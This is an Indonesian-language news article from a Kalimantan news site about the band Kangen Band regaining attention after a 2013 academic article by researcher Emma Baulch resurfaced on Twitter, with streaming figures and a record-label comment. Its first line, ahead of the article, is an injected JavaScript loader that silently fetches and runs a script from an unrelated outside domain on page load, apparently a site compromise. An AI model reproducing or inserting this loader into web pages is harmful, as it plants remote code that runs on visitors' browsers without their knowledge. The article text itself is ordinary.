(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Musik

Kangen Band Kembali Melambung Usai Beredarnya Artikel di Jurnal Internasional 7 Tahun Silam


KANALKALIMANTAN.COM, BANJARBARU – Sebuah artikel dari International Journal of Culture Studies mendadak menjadi trending setelah bertahun-tahun masa penerbitannya pada 2013. Artikel yang ditulis oleh Emma Baulch, periset dan associate professor/profesor madya/lektor kepala Monash University, Malaysia, muncul ke permukaan setelah tweet “Tell Me Something I Don’t Know” diunggah pengguna Twitter.

Tweet ini menyatakan bahwa Kangen Band pernah menjadi subjek penelitian akademisi Emma Baulch, seorang periset dan associate professor/profesor madya/lektor kepala Monash University, Malaysia. Saat rilis pers ini disusun, tweet tersebut sudah mendapat 4,2 ribu retweets dan 6,7 ribu likes.

Dalam artikel berjudul “Longing Band Play at Beautiful Hope” tersebut, Emma menuliskan soal bagaimana masyarakat mengonsumsi lagu dan panggung Kangen Band, serta bagaimana Kangen Band mendapatkan label ‘pop Melayu’ yang dianggap sebagai pembeda kelas musik pop Indonesia di awal 2000-an.

Pada awal karir Kangen Band, dalam artikel Emma, disebut bahwa lagu-lagu mereka sudah hadir di ruang publik seperti mal, siaran radio, dan dijual di emperan. Kontrak dengan Warner Music Indonesia, disebut Emma, terbukti sukses melambungkan Kangen Band dari “band yang bukan siapa-siapa” menjadi bintang pop pada pertengahan 2000-an.

Album Tentang Aku, Kau, dan Dia (Warner Music Indonesia, 2007) sebelumnya sudah beredar luas dalam format tak resmi/bajakan.

Di artikel itu, Kangen Band disebut tak memiliki ‘image’ yang bisa ditelusuri di awal karirnya. Video-video tak resmi mereka tidak menggambarkan siapa itu Kangen Band. Kontrak dengan Warner Music Indonesia berhasil menguak siapa saja personil Kangen Band, lewat video-video klip yang diproduksi.

Emma Baulch memang sudah melakukan banyak studi terhadap berbagai fenomena budaya di Indonesia, khususnya musik.

Di halaman Academia-nya, riset dalam bentuk artikel soal musik Indonesia mendominasi daftar. Di tahun 2016, Emma pernah menulis soal majalah musik legendaris asal Indonesia, Aktuil, dengan judul “Genre publics: Aktuil magazine and its role in shaping critical middle class youth in 1970s Indonesia”.

Di tahun 2014, Emma juga pernah mengangkat soal musik pop Melayu di Indonesia, dengan judul “Pop Melayu vs. Pop Indonesia: Marketeers, producers and new interpretations of a genre into the 2000s”. Dia juga pernah menuliskan soal Krisdayanti pada tulisannya yang berjudul, “Cosmopatriots”. Selain itu, dia pernah menulis buku soal skena punk dan metal di Bali tahun ’90-an dengan judul Making Scenes: Reggae, Punk, and Death Metal in 1990s Bali.

Emma Baulch, periset dan associate professor/profesor madya/lektor kepala Monash University, Malaysia/ Foto: monash.edu

Emma juga sedang menyusun kumpulan tulisannya soal musik pop, teknologi, dan kelas di Indonesia, berjudul Genre Publics.

Menanggapi munculnya artikel akademis ini, Managing Director Warner Music Indonesia, Toto Widjojo memberikan komentar bahwa dari fenomena Kangen Band, maka kita akan mengetahui betapa luasnya penggemar musik di Tanah Air. Toto menambahkan, “Betapa banyaknya talenta di negeri ini, dan seiring dengan berjalannya waktu, karya-karya Kangen Band tetap banyak dinikmati oleh penggemar musik. Bahkan membuat Dr. Emma Baulch, PhD dari Monash University, membuat sebuah tulisan yang sangat menarik tentang Kangen Band.”

Toto juga berpesan, “Jika kalian benar-benar ‘Doy’ sejati, maka saya yakin kalian akan tertarik untuk membaca tulisan ini. Salam ‘Doy’ dan selamat bernostalgia bersama Tentang Aku, Kau dan Dia!”

Kangen Band di Youtube

Berdasarkan data dari Youtube, video-video Kangen Band punya angka konsumsi yang terbilang besar. Kangen Band memberikan berkontribusi sebanyak 209 juta views di kanal resmi Youtube Warner Music Indonesia sampai detik ini.

Angka tersebut seakan mendukung tesis Emma bahwa sosok Kangen Band yang dulu ‘tak terlihat’, hanya terdengar di ruang publik, akhirnya dapat muncul ke permukaan lewat ‘image’ khusus yang dikemas menarik

Kangen Band di Spotify, 5 negara mendengar 

Di Spotify, Kangen Band mendapat posisi khusus; didengar oleh lima negara Asia Tenggara dengan komunitas Indonesia yang solid. Selain Indonesia, top 5 pendengar Kangen Band tercatat berasal dari Malaysia, Singapura, Taiwan, dan Hong Kong. Setahun ke belakang, konsumsi Kangen Band secara keseluruhan berjumlah 21 juta streams. (kanalkalimantan.com/andy)

Reporter : andy
Editor : cell

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.